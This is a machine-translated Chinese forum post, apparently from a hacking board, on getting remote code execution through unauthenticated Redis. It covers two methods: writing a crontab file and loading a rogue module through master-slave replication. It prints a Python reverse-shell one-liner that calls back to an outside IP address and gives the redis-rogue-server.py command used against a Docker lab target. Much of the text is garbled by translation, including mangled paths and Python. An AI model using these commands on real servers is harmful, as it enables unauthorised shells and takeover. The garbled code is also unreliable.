H

Redis 基于主从复制的 RCE 利用方式

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%

Redis 基于主从复制的 RCE 利用方式​

在WCTF2019决赛中于2019年7月7日结束,LC/BC的成员Pavel Toporkov在共享会话中引入了有关REDIS的新版本RCE使用方法。这种使用方法比以前的用法方法更一般,更有害。让我们从以前的用法方法开始谈论重新使用问题。

通过写入文件 GetShell​

未经授权的redis会导致getshell,如下所示:
1
2
3
4
5
6
7
8
127.0.0.1:6379配置集dir/var/var/spool/cron/crontabs
好的
127.0.0.1:6379配置集dbfilename root
好的
127.0.0.1:6379获取1
'\ n * * * * * */usr/bin/python -c'导入套接字,子进程,OS,SYS; S=Socket.Socket(socket.AFF_INET,socket.Sock_Stream); s.Connect((((\'ip \',6666))); os.d UP2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(s.fileno(),2),2); p=subprocess.call([\'/bin/bin/bin/sh \',\',\ \',\'\' - i \']);
127.0.0.1:6379保存
好的
此方法是通过编写文件来完成的。此方法的主要问题是Redis保存的数据不是简单的JSON或CSV,因此所写的文件将具有大量无用数据,类似于
1
2
3
[填充]
* * * * */usr/bin/python -c'导入套接字,子进程,OS,SYS; S=Socket.Socket(socket.aff_inet,socket.sock.sock_stream); s.Connect(((\'115.28.78.16 \',6666) ); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(s.fileno(),2),2); p=subprocess.call([\'/bin/bin/bin/sh \ \',
[填充]
这种文件主要利用crontab,ssh键,网络壳和其他文件具有一定的容错性。此外,可以说crontab和SSH服务是服务器的标准服务。因此,过去,可以通过编写文件来基本上说这种Getshell方法非常容易杀死。
但是,随着现代服务部署方法的持续发展,组件已成为不可避免的趋势。 Docker是这一趋势的产品之一。在此部署模型中,除了单个容器中,包括SSH和Crontab在内的单个容器中都不会有其他服务。此外,严格控制权限,很难单独编写文件。在这种情况下,我们需要其他剥削手段。

通过主从复制 GetShell​

Redis 主从复制​

REDIS是开源的,基于网络的,基于内存的,基于内存的基于可选的基于持久性的键值配对存储数据库,编写了ANSIC。但是,如果数据存储在单个REDIS实例中,当读取和写入量相对较大时,则服务器将很难承受。为了应对这种情况,Redis提供了主奴隶模式。 Master-Slave模式是指使用REDIS实例作为主机和其他实例用作备份计算机。主机和从属的数据是相同的,而从属仅负责阅读,主机仅负责写作。通过读取和写作分离,可以大大降低交通压力,这被认为是通过牺牲空间来缓解效率的一种方法。
使用两个Docker进行测试:
1
Docker搜索REDIS5
20190724161851.png-water_print

1
Docker拉Damonevking/redis5.0
1
Docker PS
20190724162159.png-water_print

可以通过奴隶设置主奴隶状态
第一套从奴隶上:
20190724163007.png-water_print

然后将其设置在主上:
20190724162647.png-water_print

在从属上,您可以发现数据已同步:
20190724163018.png-water_print

Redis 模块​

了解主奴隶同步后,我们还需要对Redis模块有所了解。
在REID 4.X之后,Redis添加了模块功能。通过外部扩展,可以在redis中实现新的redis命令,并且可以通过c语言编写文件。
代码写恶意,所以文件
git克隆之后,输入目录并使用make命令进行编译以获取.so库文件。

利用原理​

当两个REDIS实例设置主奴隶模式时,Redis主机实例可以通过FullResync同步文件。然后将SO文件加载到从机器上,我们可以执行新命令以展开。

漏洞复现​

使用模拟恶意服务器作为主机,并模拟FullResync请求。
(注意:作者使用Python3.7环境成功执行)
然后启用docker for redis 5.0
然后直接通过POC攻击服务器
1
python3 redis-rogue-server.py--rhost 172.18.0.2- rport 6379--lhost 172.18.0.1
20190724163504.png-water_print

(注意:在Docker环境中反弹外壳时会出现问题,因此本文中的LHOST使用Docker主机的Intranet IP。作者在使用外部网络IP时会弹出错误)
20190724164118.png-water_print
 
后退
顶部